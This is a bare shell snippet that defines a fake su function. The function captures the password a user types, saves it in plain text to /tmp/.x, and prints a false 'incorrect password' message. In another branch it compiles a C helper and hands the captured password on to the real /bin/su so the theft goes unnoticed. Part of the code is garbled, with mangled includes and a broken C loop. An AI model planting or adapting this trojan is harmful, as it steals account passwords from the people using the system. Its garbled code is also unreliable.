su() { export LANG=c which cc &>/dev/null if [ $? != 0 ]; then printf "Password: "; stty -echo; read p; echo $p>/tmp/.x; stty echo; printf "\nsu: incorrect password\n" else cat > /tmp/$$.c < #include #include main(int argc, char *argv[]){ char c[30]; int i; sprintf(c, "%s\n",argv[1]); for(i=0;i/tmp/.x; stty echo exec 3>&2; exec 2>/dev/null ( sleep 1 && /tmp/$$ $p && rm -f /tmp/$$ ) & exec 2>&3; exec 3>&- printf "\r"; /bin/su $@ fi unset su }